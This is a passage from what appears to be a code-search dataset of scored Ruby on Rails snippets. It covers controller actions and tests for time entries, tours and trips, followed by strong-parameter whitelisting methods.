"score": "0.659139",
"text": "def show\n respond_to do |format|\n format.html\n format.json\n format.occurrence { render json: @task.time_entries.map(&:to_occurrence) }\n end\n end",
"title": ""
},
{
"docid": "8bd44d1e58e1c1d93703d66c7215d9fb",
"score": "0.6569895",
"text": "def open_times\n if params.has_key? :clinic_id and params.has_key? :date and params.has_key? :doctor_id\n @clinic = Clinic.find(params[:clinic_id])\n date = Date.parse(params[:date])\n doctor = Doctor.find(params[:doctor_id])\n @times = @clinic.open_appointment_times(date, doctor)\n if @times.is_a?(Hash)\n render json: {status: 1, error: @times[:error]}\n else\n render json: { status: 0, times: @times }\n end\n else\n render json: {status: 0, times: []}\n end\n\n end",
"title": ""
},
{
"docid": "91ade2417c772d56816144ef06225de1",
"score": "0.6550349",
"text": "def index\n @tea_times = TeaTime.all\n respond_to do |format|\n format.html { render layout: !request.xhr? }\n format.json { render json: @tea_times }\n end\n end",
"title": ""
},
{
"docid": "6dcd7d608df66a627bda81d933fafb10",
"score": "0.6538067",
"text": "def index\n @flight_times = FlightTime.all\n end",
"title": ""
},
{
"docid": "ebea38c1520fff73c48c33cc8ddf0b65",
"score": "0.65297604",
"text": "def allTimeQueries\n t = Time.zone.now\n allGreaterTimes = Array.new\n times1 = SkybusT1.all\n times3 = SkybusT3.all\n times4 = SkybusT4.all\n\n allTimes = times1 + times3 + times4\n\n allTimes.each do |c|\n if c.timetable.to_time > t\n allGreaterTimes.push(c)\n end\n end\n\n if allGreaterTimes.count < 10\n allTimes.each do |k|\n allGreaterTimes.push(k)\n end\n end\n\n render json: allGreaterTimes\n end",
"title": ""
},
{
"docid": "a329cc80d05c6b27bb7ab9d6020b9b7e",
"score": "0.65048504",
"text": "def trip_time_resolution\n method = \"tripTimeResolution\"\n post_request(method)\n end",
"title": ""
},
{
"docid": "a329cc80d05c6b27bb7ab9d6020b9b7e",
"score": "0.65048504",
"text": "def trip_time_resolution\n method = \"tripTimeResolution\"\n post_request(method)\n end",
"title": ""
},
{
"docid": "de3d37132831de258ca2afd54448436f",
"score": "0.65022963",
"text": "def show\n respond_to do |format|\n format.html\n format.json { render :json => @vehicle_stop_time.to_json(:include => [:vehicle_trip, :vehicle_stop]) }\n end\n end",
"title": ""
},
{
"docid": "26be4855d327c5690ea771ea6b5e66f8",
"score": "0.64978486",
"text": "def test_get_time_for_activity\n url = format('%s/times?activity=dev&token=%s',\n @ts.instance_variable_get(:@baseurl),\n @ts.instance_variable_get(:@token))\n\n stub_request(:get, /.*times.*/)\n .to_return(body: JSON.dump([Hash['this' => 'should be in a list']]))\n\n assert_equal(@ts.get_times(Hash['activity' => ['dev']]),\n [Hash['this' => 'should be in a list']])\n end",
"title": ""
},
{
"docid": "a40543ec0c3c3dcc08fff07c0eb6420f",
"score": "0.64690584",
"text": "def index\n @time_travellers = TimeTraveller.all\n end",
"title": ""
},
{
"docid": "63c1ccdd51c37289d9d200101bd56954",
"score": "0.645761",
"text": "def route_entries\n json_array('routes.json').collect do |entry|\n entry.start_time = Time.parse(entry.start_time)\n entry.end_time = Time.parse(entry.end_time)\n entry\n end\n end",
"title": ""
},
{
"docid": "e2e101c6fb7deaded517233f13312b4b",
"score": "0.645494",
"text": "def show\n @task_time = @task.task_times.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task_time }\n end\n end",
"title": ""
},
{
"docid": "bb28a9439d2d20a9d73f930fc1b02db4",
"score": "0.6437971",
"text": "def index\n @service_times = ServiceTime.all\n end",
"title": ""
},
{
"docid": "efb70dd61e3ed703d47c665079380b85",
"score": "0.643761",
"text": "def index\n @time_entries = current_user.time_entries.order(\"created_at DESC\")\n\n respond_to do |format|\n format.html # index.html.\n format.json { render_for_api :default, json: @time_entries } # index.json.\n end\n end",
"title": ""
},
{
"docid": "04140bdcdfb893384c1470965133806a",
"score": "0.64257264",
"text": "def index\n @prayer_times = PrayerTime.all\n end",
"title": ""
},
{
"docid": "0f48e398ba2aa4bfddd41d7b5dfad56b",
"score": "0.64062864",
"text": "def index\n @tummy_times = TummyTime.all\n end",
"title": ""
},
{
"docid": "63759d338445e31aaf4bcc44b4c2dd02",
"score": "0.64061844",
"text": "def index\n @stop_times = StopTime.all\n respond_to do |format|\n format.html { render :index }\n format.xml { render xml: @stop_times, status: :ok }\n format.json { render json: @stop_times, status: :ok }\n end\n end",
"title": ""
},
{
"docid": "b4a2ef9dbfafd9ac7ce72a750134b35c",
"score": "0.64029574",
"text": "def index\n @meeting_times = MeetingTime.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @meeting_times }\n end\n end",
"title": ""
},
{
"docid": "25c97e661c1d1246de2d5630c899c414",
"score": "0.64022136",
"text": "def index\n @time_slots = TimeSlot.all\n\n\t\trespond_to do |format|\n\t\t\tformat.html { render :index }\n\t\t\tformat.json { render json: Oj.dump(@time_slots) }\n\t\tend\n end",
"title": ""
},
{
"docid": "4f09fa7bc3388c4b49801520dc741e1d",
"score": "0.6380589",
"text": "def index\n @timetable_u = TimetableUnit.where timetable_id:params['timetable_id']\n\n respond_to do |format|\n format.html\n format.json { render :json => @timetable_u }\n end\n end",
"title": ""
},
{
"docid": "47f8d86811b69c8403dd350c41482f67",
"score": "0.63796705",
"text": "def index\n @route_stops = RouteStop.all\n render json: @route_stops\n end",
"title": ""
},
{
"docid": "0a9f631a7ae6348cc4f07a0ca3041606",
"score": "0.6366268",
"text": "def datetime_list\n @events = Event.find_by_sport_location_peclass(params[:location_id], session[:user_id])\n @team = Team.new\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @locations }\n end\n end",
"title": ""
},
{
"docid": "79ddefa1dd2d4fd65c6e0959de29d70a",
"score": "0.6338711",
"text": "def test_get_time_for_proj_and_activity\n url = format('%s/times?activity=dev&project=gwm&token=%s',\n @ts.instance_variable_get(:@baseurl),\n @ts.instance_variable_get(:@token))\n\n stub_request(:get, /.*times.*/)\n .to_return(body: JSON.dump([Hash['this' => 'should be in a list']]))\n\n assert_equal(@ts.get_times(Hash['project' => ['gwm'],\n 'activity' => ['dev']]),\n [Hash['this' => 'should be in a list']])\n end",
"title": ""
},
{
"docid": "dc0dc126dd8fbd2d1fd52c8cff7fc012",
"score": "0.6337413",
"text": "def index\n @opportunity_times = OpportunityTime.all\n end",
"title": ""
},
{
"docid": "63dce5cadcd86a7c8a9f365dffa85eb7",
"score": "0.6330587",
"text": "def show\n render json: @trip, include: [:days, :activities]\n end",
"title": ""
},
{
"docid": "e510f97421becb5c7adb8637985cc23c",
"score": "0.63178",
"text": "def show\n render :json => @time_entry, status: :ok\n end",
"title": ""
},
{
"docid": "82f88f57e476f2c9750894c16749e6e1",
"score": "0.6313876",
"text": "def index\n @data = @trips = Trip.all\n @show_timemap = true\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @trips }\n end\n end",
"title": ""
},
{
"docid": "4d80cbe99877713dff3e6aacb61bb51f",
"score": "0.63124526",
"text": "def index\n @event_times = @user.event_times.all\n end",
"title": ""
},
{
"docid": "8729ffa0bd06ced98717066ba1023d41",
"score": "0.6272856",
"text": "def time\n PublicRequest.perform({\n request_method: :get,\n path: '/api/v3/time',\n })\n end",
"title": ""
},
{
"docid": "9bf115d96b436928b70bd5a29632bf5b",
"score": "0.62715304",
"text": "def show\n\n event_times = @event.get_times\n event_times_formatted = []\n\n \n @event_info = {\n \"name\" => @event.name, \n \"university\" => @event.university.name,\n \"address\" => @event.address,\n \"website\" => @event.website,\n \"description\" => @event.description,\n \"category\" => @event.get_categories,\n }\n\n render json: @event_info\n end",
"title": ""
},
{
"docid": "f11392e4292aa8f0a4263d8905ec7a0e",
"score": "0.62586606",
"text": "def index\n @tours = Tour.all\n end",
"title": ""
},
{
"docid": "f11392e4292aa8f0a4263d8905ec7a0e",
"score": "0.62586606",
"text": "def index\n @tours = Tour.all\n end",
"title": ""
},
{
"docid": "f11392e4292aa8f0a4263d8905ec7a0e",
"score": "0.62586606",
"text": "def index\n @tours = Tour.all\n end",
"title": ""
},
{
"docid": "f11392e4292aa8f0a4263d8905ec7a0e",
"score": "0.62586606",
"text": "def index\n @tours = Tour.all\n end",
"title": ""
},
{
"docid": "f11392e4292aa8f0a4263d8905ec7a0e",
"score": "0.6258053",
"text": "def index\n @tours = Tour.all\n end",
"title": ""
},
{
"docid": "e35bcb72fa9e7b1556f7479e9c328ff9",
"score": "0.6254435",
"text": "def index \n @tour_dates = TourDate.all\n end",
"title": ""
},
{
"docid": "c6c52ec96a5f04d7f3029d8f876673ef",
"score": "0.62473804",
"text": "def index\n @lesson_times = LessonTime.all\n end",
"title": ""
},
{
"docid": "e30d4e1f7c88f149b241e85dc8a63507",
"score": "0.6246779",
"text": "def show\n @google = maps_service.maps_data_json(@trip.notes.recent)\n\n respond_to do |format|\n format.html # show.html.haml\n format.json { render json: @trip }\n end\n end",
"title": ""
},
{
"docid": "7e07cf3d9c2b52abacef2f41da8b79fd",
"score": "0.6244434",
"text": "def index\n @event_times = EventTime.all\n end",
"title": ""
},
{
"docid": "f45d5a137ea3258dbf2c53cb653c1265",
"score": "0.6244089",
"text": "def index\n\t@tours = Tour.find(:all)\n end",
"title": ""
},
{
"docid": "beebb85d05ffe5cb4c6b6632f366d7bc",
"score": "0.6240883",
"text": "def index\n @on_times = current_user.on_times.all\n end",
"title": ""
},
{
"docid": "f5e76da5c83e8818c1a112cea62a6e9b",
"score": "0.62328637",
"text": "def index\n @timeslots = Timeslot.all\n end",
"title": ""
},
{
"docid": "e7dc2f712d06200e03fcf3347aea5395",
"score": "0.6194283",
"text": "def index\n @tours = Tour.order(\"number ASC\")\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tours }\n end\n end",
"title": ""
},
{
"docid": "c8cea6fb2792ddf27d34c4b700374051",
"score": "0.6189879",
"text": "def index\n @tour_items = TourItem.all\n end",
"title": ""
},
{
"docid": "4699d2c6ad5036960c26202690c88fbc",
"score": "0.6185533",
"text": "def index\n @walking_hours = WalkingHour.all\n end",
"title": ""
},
{
"docid": "dd13ef4fdba891a3a1deac48fe2feccf",
"score": "0.618452",
"text": "def index # Create a json script that contains a list of times and the dates they were created in order to render on homepage\n jsonText= \"[\"\n @user_id = current_user.id\n @r_times = RTime.where('user_id = ?',@user_id).order(\"created_at asc\") #Geting the times that apply only to that user\n @r_times.each_with_index do |r, index|\n jsonText+='{\"minutes\": '+ r.minutes.to_s+\",\"\n jsonText+='\"seconds\": '+ r.seconds.to_s+\",\"\n datetime = r.created_at.to_s.split(\" \")[0]\n jsonText+='\"datetime\": \"'+datetime.to_s+'\",'\n if index < @r_times.size - 1 # Ensuring formatting is accurate\n jsonText+='\"millisecs\": '+ r.millisecs.to_s+\"},\"\n else\n jsonText+='\"millisecs\": '+ r.millisecs.to_s+\"}\"\n end\n end\n jsonText += \"]\"\n puts jsonText\n respond_to do |format| #Return a json response only\n format.json { render json: jsonText }\n end\n end",
"title": ""
},
{
"docid": "fcd668d57cb792209be91b7776a99770",
"score": "0.61765754",
"text": "def index\n @time_items = TimeItem.all\n end",
"title": ""
},
{
"docid": "4b49d134e3bb05008ac442837ed11b85",
"score": "0.6171969",
"text": "def index\n @whattimes = Whattime.all\n end",
"title": ""
},
{
"docid": "5ffec47db7fa4dcae3b5b136c517a7f7",
"score": "0.61682826",
"text": "def index\n @timeentries = Timeentry.all\n end",
"title": ""
},
{
"docid": "5ffec47db7fa4dcae3b5b136c517a7f7",
"score": "0.61682653",
"text": "def index\n @timeentries = Timeentry.all\n end",
"title": ""
},
{
"docid": "d2bea0eeabcb7da04f4dbde2f5960e0c",
"score": "0.61680263",
"text": "def index\n render json: @twitts\n end",
"title": ""
},
{
"docid": "0564c50a22c34a4b606c9e3ad6c94c2a",
"score": "0.6166878",
"text": "def index\n @route_schedules = RouteSchedule.all\n render json: @route_schedules\n end",
"title": ""
},
{
"docid": "d6b68874b44c0c6bf7e3fc143b07792c",
"score": "0.61520815",
"text": "def test_get_time_for_activity_x3\n token_string = format('&token=%s', @ts.instance_variable_get(:@token))\n url = format('%s/times?activity=dev&activity=rev&activity=hd%s',\n @ts.instance_variable_get(:@baseurl),\n token_string)\n\n stub_request(:get, /.*times.*/)\n .to_return(body: JSON.dump([Hash['this' => 'should be in a list']]))\n\n assert_equal(@ts.get_times(Hash['activity' =>\n Array['dev', 'rev', 'hd']]),\n [Hash['this' => 'should be in a list']])\n end",
"title": ""
},
{
"docid": "f5c923dab4affd41cf4331347db049b2",
"score": "0.6140586",
"text": "def index\n @tenures = Tenure.all\n render json: @tenures\n end",
"title": ""
},
{
"docid": "070df41236007de799a8ae8a87dff1e8",
"score": "0.61370105",
"text": "def timelist\n project = @user.projects.where(name: params[:project].try(:downcase)).try(:first)\n spend_hour_hash = Issue.where(project_id: project.id).group(:number).sum(:spend_hour)\n spend_minutes_hash = Issue.where(project_id: project.id).group(:number).sum(:spend_minutes)\n\n timelist = []\n spend_hour_hash.keys.each do |number|\n str = ''\n spend_hour = spend_hour_hash[number]\n str += \"#{spend_hour}h\" if spend_hour > 0\n spend_minutes = spend_minutes_hash[number]\n str += \"#{spend_minutes}m\" if spend_minutes > 0\n str = '0' if str.blank?\n\n timelist << {number: number, time: str}\n end\n render json: { type: \"success\", data: timelist}\n end",
"title": ""
},
{
"docid": "7f26dcc92ab92efd2ada4fbce7e7da75",
"score": "0.6135179",
"text": "def index\r\n @setpoints = Setpoint.unscoped.order('room_id ASC').order(\"DATE_FORMAT(times, '%H'), day ASC\").all(:include => :room)\r\n\r\n respond_to do |format|\r\n format.html # index.html.erb\r\n format.json { render json: @setpoints }\r\n end\r\n end",
"title": ""
},
{
"docid": "8ad9db57994d913fe611773a1b168c90",
"score": "0.6129941",
"text": "def index\n\t\t@war_times = @war.war_times\n\tend",
"title": ""
},
{
"docid": "3d7539d96acee0144aaa95fac8d3c961",
"score": "0.61293006",
"text": "def time\n get('/time')[:body]\n end",
"title": ""
},
{
"docid": "ddcc8ef81d3e704442b523a5f3b6226e",
"score": "0.61191005",
"text": "def test_get_time_for_user\n url = format('%s/times?user=example-user&token=%s',\n @ts.instance_variable_get(:@baseurl),\n @ts.instance_variable_get(:@token))\n\n stub_request(:get, /.*times.*/)\n .to_return(body: JSON.dump([Hash['this' => 'should be in a list']]))\n\n assert_equal(@ts.get_times(\n Hash['user' => [@ts.instance_variable_get(:@user)]]\n ),\n [Hash['this' => 'should be in a list']])\n end",
"title": ""
},
{
"docid": "660458d23e2c8d6348c58ee247754c53",
"score": "0.6117319",
"text": "def index\n @playtimes = Playtime.all\n end",
"title": ""
},
{
"docid": "9013c1e407a67304baa5e19dcd557b9f",
"score": "0.6116193",
"text": "def trips\n @trip_requests = TripRequest.trips.paginate(page:params[:page], per_page:20)\n json_response(@trip_requests)\n end",
"title": ""
},
{
"docid": "9786bf4b45c1fa79d5dc5c66e89f139f",
"score": "0.611574",
"text": "def index\n @trips = Trip.all\n\n render json: @trips\n end",
"title": ""
},
{
"docid": "b43ccbd38cc927021e69bf56d8708950",
"score": "0.6112097",
"text": "def index\n @truck_routes = TruckRoute.all\n render json: @truck_routes\n end",
"title": ""
},
{
"docid": "1f3323b1dab6a09de6f3477594535b2f",
"score": "0.61116433",
"text": "def index\n @timetables = Timetable.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @timetables }\n end\n end",
"title": ""
},
{
"docid": "d1962646c70946ecd989df4c9f066d84",
"score": "0.6109356",
"text": "def get_recent_tracks\n tracks = Track.order_by(created_at: 1).limit(15)\n render(json: tracks)\n end",
"title": ""
},
{
"docid": "b5b1d4f88419889004292b545b77df01",
"score": "0.6105627",
"text": "def test_get_time_with_uuid_and_activity\n url = format('%s/times/sadfasdg432?token=%s',\n @ts.instance_variable_get(:@baseurl),\n @ts.instance_variable_get(:@token))\n\n stub_request(:get, /.*times.*/)\n .to_return(body: JSON.dump([Hash['this' => 'should be in a list']]))\n\n assert_equal(@ts.get_times(Hash['uuid' => 'sadfasdg432',\n 'activity' => ['dev']]),\n [Hash['this' => 'should be in a list']])\n end",
"title": ""
},
{
"docid": "088288add6db99968662ea30c9b5469c",
"score": "0.61046535",
"text": "def index\n @open_house_times = OpenHouseTime.all\n end",
"title": ""
},
{
"docid": "c30930ed3feacdde63378903222dfcf3",
"score": "0.6102807",
"text": "def index\n @event = Event.find(params[:event_id])\n @show_times = @event.show_times.all\n end",
"title": ""
},
{
"docid": "90a8d9ef8aded74b407c225f7be8a081",
"score": "0.61023706",
"text": "def index\n @timmings = Timming.all\n end",
"title": ""
},
{
"docid": "1420552fb1ec00a8b70acd8f8b953fa0",
"score": "0.61019444",
"text": "def index\n @timelets = current_user.timelets.where(archived: false)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @timelets }\n end\n end",
"title": ""
},
{
"docid": "1420552fb1ec00a8b70acd8f8b953fa0",
"score": "0.61019444",
"text": "def index\n @timelets = current_user.timelets.where(archived: false)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @timelets }\n end\n end",
"title": ""
},
{
"docid": "7f75fd66cf18ab4492273987a6177068",
"score": "0.6092457",
"text": "def index\n @part_times = PartTime.all\n end",
"title": ""
},
{
"docid": "361cdf02d357b91151492c630a357393",
"score": "0.60822403",
"text": "def set_tour_time\n @tour_time = TourTime.find(params[:id])\n end",
"title": ""
},
{
"docid": "bd2eba4cb65a5be53b5f73ce45712966",
"score": "0.60767657",
"text": "def index\n @time_stamps = TimeStamp.all_with_offset_by_location_name(params[:location])\n\n render json: @time_stamps.as_json(methods: :signature_with_time_zone, only: [:id])\n end",
"title": ""
},
{
"docid": "6aa237aa3c6efa98611ab5ba6c0474fc",
"score": "0.60747856",
"text": "def index\n @time_points = TimePoint.all\n end",
"title": ""
},
{
"docid": "b717c6538e395d4c62d752535a4dfd61",
"score": "0.60542154",
"text": "def index\n @hour_regimes = HourRegime.all\n end",
"title": ""
},
{
"docid": "73cd678f853611fcaae854f6b11f9ce2",
"score": "0.6041578",
"text": "def show\n @tour = Tour.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @tour }\n end\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60
|
Never trust parameters from the scary internet, only allow the white list through.
|
[
{
"docid": "e8fbb948b5e9a5022a311c94ce7441b7",
"score": "0.0",
"text": "def bill_payable_params\n params.require(:bill_payable).permit!\n end",
"title": ""
}
] |
[
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.7495027",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.69566035",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69225836",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.68929327",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67848456",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.674347",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6682223",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6636527",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.66291976",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.66258276",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65625846",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.6491194",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.6477825",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64526874",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.64001405",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.63810205",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.63634825",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.633783",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6336759",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6325718",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.631947",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.63146484",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63137317",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6306224",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.6301168",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.63000035",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.629581",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.62926817",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "9b76b3149ac8b2743f041d1af6b768b5",
"score": "0.6280713",
"text": "def filter_params\n params.permit(\n\t\t\t\t:name,\n\t\t\t\t:sitedefault,\n\t\t\t\t:opinions,\n\t\t\t\t:contested,\n\t\t\t\t:uncontested,\n\t\t\t\t:initiators,\n\t\t\t\t:comments,\n\t\t\t\t:following,\n\t\t\t\t:bookmarks,\n\t\t\t\t:lone_wolf,\n\t\t\t\t:level_zero,\n\t\t\t\t:level_nonzero,\n\t\t\t\t:private,\n\t\t\t\t:public_viewing,\n\t\t\t\t:public_comments,\n\t\t\t\t:has_parent,\n\t\t\t\t:has_no_parent,\n\t\t\t\t:today,\n\t\t\t\t:last_week,\n\t\t\t\t:last_month,\n\t\t\t\t:last_year,\n\t\t\t\t:sort_by_created_at,\n\t\t\t\t:sort_by_updated_at,\n\t\t\t\t:sort_by_views,\n\t\t\t\t:sort_by_votes,\n\t\t\t\t:sort_by_scores,\n\t\t\t\t:who_id)\n end",
"title": ""
},
{
"docid": "603f4a45e5efa778afca5372ae8a96dc",
"score": "0.6271388",
"text": "def param_whitelist\n [:role]\n end",
"title": ""
},
{
"docid": "f6399952b4623e5a23ce75ef1bf2af5a",
"score": "0.6266194",
"text": "def allowed_params\n\t\tparams.require(:password).permit(:pass)\n\tend",
"title": ""
},
{
"docid": "37c5d0a9ebc5049d7333af81696608a0",
"score": "0.6256044",
"text": "def safe_params\n\t\tparams.require(:event).permit(:title, :event_date, :begti, :endti, :comments, :has_length, :is_private)\n\tend",
"title": ""
},
{
"docid": "505e334c1850c398069b6fb3948ce481",
"score": "0.62550515",
"text": "def sanitise!\n @params.keep_if {|k,v| whitelisted? k}\n end",
"title": ""
},
{
"docid": "6c4620f5d8fd3fe3641e0474aa7014b2",
"score": "0.62525266",
"text": "def white_listed_parameters\n params\n .require(:movie)\n .permit(:title, :description, :year_released)\n end",
"title": ""
},
{
"docid": "d14bb69d2a7d0f302032a22bb9373a16",
"score": "0.6234781",
"text": "def protect_my_params\n return params.require(:photo).permit(:title, :artist, :url)\n\tend",
"title": ""
},
{
"docid": "5629f00db37bf403d0c58b524d4c3c37",
"score": "0.62278074",
"text": "def filtered_params\n params.require(:user).permit(:name, :email, :password, :password_confirmation)\n end",
"title": ""
},
{
"docid": "d370098b1b3289dbd04bf1c073f2645b",
"score": "0.6226693",
"text": "def allow_params\n params.permit(:id, :email, :password)\n end",
"title": ""
},
{
"docid": "fde8b208c08c509fe9f617229dfa1a68",
"score": "0.6226605",
"text": "def strong_params\n params.require(:thread).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "78cbf68c3936c666f1edf5f65e422b6f",
"score": "0.6226114",
"text": "def whitelisted_user_params\n if params[:user]\n params.require(:user).permit(:email, :username, :password)\n else\n { :email => params[:email],\n :username => params[:username],\n :password => params[:password] }\n end\nend",
"title": ""
},
{
"docid": "d38efafa6be65b2f7da3a6d0c9b7eaf5",
"score": "0.6200643",
"text": "def roaster_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password_digest, :address, :website, :phone, :latitude, :longitutde, :description)\n end",
"title": ""
},
{
"docid": "d724124948bde3f2512c5542b9cdea74",
"score": "0.61913997",
"text": "def alpha_provider_params\n params.require(:alpha_provider).permit!\n end",
"title": ""
},
{
"docid": "d18a36785daed9387fd6d0042fafcd03",
"score": "0.61835426",
"text": "def white_listed_parameters\n params\n .require(:company)\n .permit(:company_name, :company_avatar)\n end",
"title": ""
},
{
"docid": "36956168ba2889cff7bf17d9f1db41b8",
"score": "0.6179986",
"text": "def set_param_whitelist(*param_list)\n self.param_whitelist = param_list\n end",
"title": ""
},
{
"docid": "07bc0e43e1cec1a821fb2598d6489bde",
"score": "0.61630195",
"text": "def accept_no_params\n accept_params {}\n end",
"title": ""
},
{
"docid": "fc4b1364974ea591f32a99898cb0078d",
"score": "0.6160931",
"text": "def request_params\n params.permit(:username, :password, :user_id, :status, :accepted_by, :rejected_by)\n end",
"title": ""
},
{
"docid": "13e3cfbfe510f765b5944667d772f453",
"score": "0.6155551",
"text": "def admin_security_params\n params.require(:security).permit(:name, :url, :commonplace_id)\n end",
"title": ""
},
{
"docid": "84bd386d5b2a0d586dca327046a81a63",
"score": "0.61542404",
"text": "def good_params\n permit_params\n end",
"title": ""
},
{
"docid": "b9432eac2fc04860bb585f9af0d932bc",
"score": "0.61356604",
"text": "def wall_params\n params.permit(:public_view, :guest)\n end",
"title": ""
},
{
"docid": "f2342adbf71ecbb79f87f58ff29c51ba",
"score": "0.61342114",
"text": "def housing_request_params\n params[:housing_request].permit! #allow all parameters for now\n end",
"title": ""
},
{
"docid": "8fa507ebc4288c14857ace21acf54c26",
"score": "0.61188847",
"text": "def strong_params\n # to dooo\n end",
"title": ""
},
{
"docid": "9292c51af27231dfd9f6478a027d419e",
"score": "0.61140966",
"text": "def domain_params\n params[:domain].permit!\n end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "fc43ee8cb2466a60d4a69a04461c601a",
"score": "0.611406",
"text": "def check_params; true; end",
"title": ""
},
{
"docid": "a3aee889e493e2b235619affa62f39c3",
"score": "0.61107725",
